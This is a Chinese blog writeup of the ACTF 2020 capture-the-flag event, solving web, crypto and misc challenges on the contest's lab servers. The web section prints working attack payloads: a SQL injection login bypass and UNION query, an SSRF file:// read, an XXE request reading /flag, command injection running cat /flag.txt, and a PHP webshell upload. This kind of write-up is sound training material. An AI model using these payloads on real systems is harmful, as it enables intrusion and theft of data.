ACTF 2020 Writeup 8 min read
本文最后更新于 652 天前,其中的信息可能已经有所发展或是发生改变。

Author: 颖奇L’Amore

Blog: www.gem-love.com


WEB

UNIVERSAL_SQL(100points)

题目的网页源代码可以看到index.txt

打开后得到sql语句:

$username = $_POST[username];
$passwd = md5($_POST[passwd]);
$sql = "select username from users where (username='$username') and (pw='$passwd')";

题目描述写到:你听说过万能密码??

所以构造sql语句,使select查询返回true,再把后面的密码给注释了即可,payload:

用户名: 1') or 1=1# 密码随意

登录即可得到flag:ACTF{just_beginner_in_sql_injection}


茶颜悦色(100points)

脚本题。打开题目是个买奶茶的页面

查看源代码得到hint:要找幽兰拿铁

而这一页的商品是没有幽兰拿铁,点下一页url变成http://47.106.94.13:40004/?page=2,还是没有幽兰拿铁

fuzz了一下 用二分法很快测试出一共有1000页,要从这1000页奶茶中找到幽兰拿铁,很明显的脚本题,payload:

<?php
//Author:颖奇L'Amore www.gem-love.com
for ($i=1; $i <= 1000; $i++) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://47.106.94.13:40004/?page=$i");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    if ( preg_match('/h3>幽兰拿铁/', $output) ){
        echo $i;
        echo $output;
        break;
    }
}

在986页找到幽兰拿铁,同时得到flag:ACTF{pyth0n_reque5ts_coo1llllll!}

既然flag这么说了,使用python的request模块:

#www.gem-love.com
import requests

for i in range(1, 1000):
    s = requests.Session()
    r = s.get("http://47.106.94.13:40004/?page=" + f"{i}")
    text = r.content.decode()
    print(i)
    if "h3>幽兰拿铁" in text:
        print(text)
        break

同样也可以得到flag


BABYSQL(200points)

打开题目看到源码

甚至告诉了flag所在的表名和字段名,果然是新生赛

首先order by查字段数,得知字段数为3

然后就联合查询查flag就行了,payload:

id=1' and 1>2 union select 1,flag,3 from flag#

得到flag:ACTF{baby_baby_baby_sqllll}


EASYHTTP (200points)

这题一开始扫到了一个phpmyadmin,http://106.15.207.47:21003/phpmyadmin/,试了各种CVE也不行,爆破也爆破不出来

结果发现,就把这些红字抄上去就行了

填上去submit之后,需要get和post,也没啥可说的

然后被告知:请伪造你的IP为127.0.0.1。header伪造X-Forwarded-For即可

得到flag:ACTF{jS209SWfr3425wEJ4Dpefj032sforwe}


EASYPHP (200points)

打开题目即可看到源代码

这里最主要就是这个session

if($_POST['key'] != $_SESSION['key']) {
    die("Wrong key!");
}

一开始以为是PHP弱类型(后面BACKUP_FILE那个题是弱php),但是没爆破出来,后来发现根本没有PHPSESSID

那就好办了,只要传个空key即可绕过

后面的md5比较传两个数组绕过即可,因为哈希函数的参数只能是字符串,对于数组返回false,两个false满足强相等

ACTF{8rh8ReeRE9rh3s8134koURHW32}


EASY_WEB (200points)

打开题目,在网页源代码发现hint

Nzc3Nzc3MmU2MjYxNmI=base64解码:7777772e62616b,HEX转TEXT:www.bak

下载www.bak用file命令查看发现是个zip,直接解压出源码和hint

index.php:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>找找hint吧</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<p>这里什么也没有噢!</p>
<!--Nzc3Nzc3MmU2MjYxNmI=heiheihei-->
</body>
<?php
//学习一下如何利用下面的代码?
//请不要用来做"越界"的操作
error_reporting(0);
function curl($url){  
    // 创建一个新cURL资源
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 
?>
</html>

hint777.txt:

flag in server /flag

源码里甚至告诉“要不要来做越界的操作”,说的太明白了,还告诉了flag在根目录,代码又是毫无过滤的cURL

利用SSRF读取flag即可,payload:

http://47.106.94.13:40003/?url=file://localhost/flag

得到flag:ACTF{SSRF_fi1e_pr0tocol_coolllll1l!}


WHATS GIT (200points)

由题目可知git泄露,直接上githack,把源码down下来,发现是一大堆目录,这个套路类似RiceTeaCatPandaCTF – General Skills – Treeeeee,但是本题目更简单一些

🇺🇸RiceTeaCatPandaCTF 2020 Writeup

 

用find命令直接查找flag

Y1ng.net:~/Desktop/文件/GitHack$find 47.112.16.34_22252/ -name "*flag*"

得到

47.112.16.34_22252//新建文件夹 - 副本 (7)/新建文件夹 - 副本 (3)/新建文件夹 - 副本 (4)/新建文件夹 - 副本 (3)/flag

打开就是flag了


BACKUP_FILE (200points)

题目告知:

Try to find out source file!

常见备份文件无非就是那几种

  1. index.php.swp
  2. index.php.bak
  3. index.php~
  4. backup.zip
  5. www.zip
  6. wwwroot.zip
  7. source.zip

本题index.php.bak,得到源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

这里考php弱类型,我在其他文章里也介绍过(但是哪篇文章我给忘了2333)

我们可以发现,题目特意通过intval()$key转成了int型,然后和$str比较。演示一下php弱类型:

?key=123就能得到flag了:ACTF{D0n’T_FoRGeT_BacKuP_Fi1e}


EASY_FILE_INCLUDE (200points)

题目:

http://106.15.207.47:21002/?file=flag.php

老套路啦,本地文件包含,伪协议读源码

http://106.15.207.47:21002/?file=php://filter/convert.base64-encode/resource=flag.php

得到的base64解码

<?php
echo "Can you find out the flag?";
//ACTF{Fi1e_InClUdE_Is_EaSy}

幸运数字 (200points)

题目点rand会随机生成一个随机数,然后提交判断对错

使用burp intruder爆破这个随机数,正确的数是77777

提交的报文我们可以看到:

X-Requested-With: XMLHttpRequest

考虑XXE,payload

POST /getflag.php HTTP/1.1
Host: 47.106.94.13:40002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://47.106.94.13:40002
Connection: close
Referer: http://47.106.94.13:40002/

<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM 'file:///flag'>
]>
<x>&xxe;</x>

得到flag:ACTF{S1mple_XXE_y0u_g5t_it!}


SIMLPLE_EXEC (300 points)

签到题,命令注入,简单的很,参考:

简析GXY_CTF “Ping Ping Ping”命令执行

这个题简直没有任何过滤,payload:

127.0.0.1;ls       发现网站目录下没有flag

127.0.0.1;ls /     发现根目录下的flag.txt

127.0.0.1;cat /flag.txt        得到flag

flag:ACTF{command_exe_hhhhhh}


EASY_UPLOAD (300points)
非预期

非预期产生的原因是上传目录upl04d权限设置不当导致可以直接查看目录下有什么文件,也就是常说的“列目录”

我们随便传个东西,发现传到了uplo4d目录,访问这个目录可以发现其他选手上传的东西

把这位选手的图片下载下来 用HexFrend打开 发现他的一句话密码是hacker(其实这个是我自己传的,只是为了模拟一下这个情况,上传的目录每30分钟清空一次,如果在这30min内先后有2名选手做这个题就存在这种非预期的情况)

同时我们能看到这位选手上传的phtml格式的php一句话木马(phtml被php解析),用hacker这个密码连接进行代码执行,得到flag

预期

其实非预期处已经说了,利用phtml后缀绕过题目的黑名单,getshell

连接上传好的phtml,蚁剑连接,根目录下找到flag


Crypto

密码学不是我的方向,只做了签到题

classic0(100points)

下载解压,共有3个文件:cipher, hint.txt, 一个压缩包

hint.txt:

哼,压缩包的密码?这是小Z童鞋的生日吧==

既然告知了密码是个生日 说明是纯数字 爆破一下即可,设置密码长度为8位,先直接测试19950101–20050101这个范围

不到1s就爆破出密码:19990306

解压得到加密的C源代码:

#include<stdio.h>
char flag[25] = ***
int main()
{
	int i;
	for(i=0;i<25;i++)
	{
		flag[i] -= 3;
		flag[i] ^= 0x7;
		printf("%c",flag[i]);
	}
	return 0; 
}

加密函数对flag的每个字符先ASCII码减三然后与0x7异或,cipher是:

Ygvdmq[lYate[elghqvakl}

编写对应的解密代码:

#include<stdio.h>
int main()
{
    char flag[25];
    gets(flag);
    int i;
    for(i=0;i<25;i++)
    {
    	flag[i] ^= 0x7;
        flag[i] += 3;
    	printf("%c",flag[i]);
    }
    return 0; 
}

得到flag:act{my_naive_encrytion}


classic1(100points)

题目告知是维吉尼亚密码,但是压缩包有密码,给了hint.txt:

哇,这里有压缩包的密码哦,于是我低下了头,看向了我的双手,试图从中找到某些规律
xdfv ujko98 edft54 xdfv pok,.; wsdr43

看了半天不知道什么东西,直接丢进爆破工具

得到解压密码:circle

后来一个师傅告诉是键盘 按照给的字符串在键盘上正好能画圈 6组圈出来的6个字母分别是circle- -南邮ctf以前出过这种键盘题

解压出来cipher:

SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}

很明显这个是flag的格式,又知道flag的格式是ACTF{},SRLU和ACTF进行维吉尼亚加密,得到密钥:SPSP,去重后为:SP

然后就解一下就出来了。维吉尼亚密码是不分大小写的,题目告知了全部为小写,所以flag为:actf{what_a_classical_vigenere}


MISC

签到(100points)

假签到题,考点是png的CRC校验+LSB隐写

下载下来一个有密码的压缩包和一个打不开的png,考虑需要修png,写了一个计算CRC校验码的python3脚本:

#www.gem-love.com
import binascii
data = b'\x49\x48\x44\x52\x00\x00\x01\x00\x00\x00\x00\xAA\x08\x06\x00\x00\x00'
crc = binascii.crc32(data) & 0xffffffff
print('%#x'%crc)

将蓝色处的17字节填入data,后面紧接着的4字节就是

修完发现没啥用

考虑可能宽被修改了,导致信息不可见,修改高度为0x0100即宽高相同,再计算CRC,得到you come

zip压缩包使用you come解压,解压出来一张图片

使用StegSolve,lsb隐写:

这段hex转字符串414354467B6C6C4C6C6C73625F69335F65336173597D

得到flag:ACTF{llLllsb_i3_e3asY}


白给(100points)

一眼就看出来是base64隐写

直接上脚本

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res


def solve_stego():
    with open('3.txt', 'rb') as f:
        file_lines = f.readlines()
        bin_str = ''
        for line in file_lines:
            steg_line = line.replace('\n', '')
            norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
            diff = get_base64_diff_value(steg_line, norm_line)
            print diff
            pads_num = steg_line.count('=')
            if diff:
                bin_str += bin(diff)[2:].zfill(pads_num * 2)
            else:
                bin_str += '0' * pads_num * 2
            print goflag(bin_str)


def goflag(bin_str):
    res_str = ''
    for i in xrange(0, len(bin_str), 8):
        res_str += chr(int(bin_str[i:i + 8], 2))
    return res_str


if __name__ == '__main__':
    solve_stego()

得到flag:ACTF{6aseb4_f33!}


SWP(100points)

流量题,下载下来一个流量包

发现有流量传输,还有个secret.zip,用wireshark导出

打开需要密码,看了下HEX发现是伪加密

流量里hint.html也说不需要密码,直接用ZipCenOp.jar修复一下

修复完了解压出来一个文件,文本打开即可找到flag:actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}


猫咪(200points)

附件是个zip伪加密,用zipCenOp.jar修复

Y1ng.net~$ java -jar zipCenOp.jar r huhuhu.zip

解压出来一个图片和一个txt,txt里面写着:

flag在哪?
你Guess一下啊!

用hexFiend(winhex)打开,发现在文件开头处填充了大量的00和20,符合outguess隐写的特征

关于outguess隐写参考hgame的一个题目:

Hgame 2020 Week 2 MISC – Cosmos的午餐

HGAME 2020 前两周MISC Writeup

直接outguess没出来,考虑有key,和hgame那个题一样,在图片备注处找到了key:

用堕落师傅的射会煮易加密解密工具:

http://z.duoluosb.com/

解码得到abc,就是key了,outguess一下flag就出来了

flag: ACTF{gue33_Gu3Ss!2020}


Frequency (100points)

一个word文档,首先显示隐藏文字得到前半段base64

然后在备注处找到后半段base64

连起来解密得到一大段乱七八糟的字母,进行字频统计得到flag:actf{plokmijnuhbygvrdxeszwq}

在线字词频统计 http://www.aihanyu.org/cncorpus/CpsTongji.aspx


WEB (200points)

题目是个流量包,抓到了一个登录的流量,通过export导出登录页面HTML代码(有些没用的代码没贴出来)

    <body>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
        <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8=" crossorigin="anonymous"></script>
        <script>
            const key = CryptoJS.enc.Utf8.parse("1234123412ABCDEF");
            const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');
            function checkform_login() {
                if ($("#username").val() == "") {
                    $("#username").focus();
                    alert("请输入您的账号!")
                    return false
                } else if ($("#password").val() == "") {
                    $("#password").focus();
                    alert("请输入您的密码!")
                    return false
                } else {
                    $("#u_dlcode").val(Encrypt($("#username").val()))
                    $("#p_dlcode").val(Encrypt($("#password").val()))
                    $("#form_login_true").submit();
                    return true
                }
            }
            //加密方法
            function Encrypt(word) {
                let srcs = CryptoJS.enc.Utf8.parse(word);
                let encrypted = CryptoJS.AES.encrypt(srcs, key, {
                    iv: iv,
                    mode: CryptoJS.mode.CBC,
                    padding: CryptoJS.pad.Pkcs7
                });
                return encrypted.ciphertext.toString().toUpperCase();
            }
        </script>
        <form id="form_login" name="form_login" action="javascript:;" method="post">
            <input name="username" id="username" type="text" maxlength="20" hidefocus="true" />
            <input name="password" id="password" type="password" hidefocus="true" />
            </td>
            <input type="button" name="Submit" id="dlbutton" value="登录系统" onclick="checkform_login()" />
        </form>
        <!--用户输入完成后,真实POST提交的表单 -->
        <form id="form_login_true" name="form_login_true" action="index.html" method="post">
            <input name="u_dlcode" id="u_dlcode" type="hidden" value="" />
            <input name="p_dlcode" id="p_dlcode" type="hidden" value="" />
        </form>
    </body>
</html>

另外还抓到了post提交的数据 也就是通过Encrypt()函数加密后的cipher

u_dlcode=F6889AA527EA40FB0A2AECC5A28A694E

p_dlcode=0D2FD588668054DA021349541E5CB64F55979D02E41C75E0CE0233F6D10E31251B40CB8E197404F9E261FBA573E09191

这个代码主要是调用了CryptoJS库进行AES加密,在网上搜cryptoJS时候结果不小心搜到了题目代码的出处

前端 crypto-js aes 加解密 https://www.jianshu.com/p/a47477e8126a

这个文章里也直接给出了解密函数,所以我们直接使用原作者的解密函数进行解密,exp:

<!DOCTYPE html>
<html lang="en">
<!-- 解密函数来源于https://www.jianshu.com/p/a47477e8126a  -->
  <body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8=" crossorigin="anonymous"></script>
    <script>
      const key = CryptoJS.enc.Utf8.parse("1234123412ABCDEF");
      const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');

      function decrypt(word) {
        let encryptedHexStr = CryptoJS.enc.Hex.parse(word);
        let srcs = CryptoJS.enc.Base64.stringify(encryptedHexStr);
        let decrypt = CryptoJS.AES.decrypt(srcs, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
        let decryptedStr = decrypt.toString(CryptoJS.enc.Utf8);
        return decryptedStr.toString();
      }
      var u_dlcode="F6889AA527EA40FB0A2AECC5A28A694E";
      var p_dlcode="0D2FD588668054DA021349541E5CB64F55979D02E41C75E0CE0233F6D10E31251B40CB8E197404F9E261FBA573E09191";
      console.log(decrypt(u_dlcode));
      console.log(decrypt(p_dlcode));
    </script>
  </body>
</html>

得到flag:afctf{18037701-d112-4c1f-b413-0dcbff94c500}


真正的签到题(100points)

填问卷得flag

 

 

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1052.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇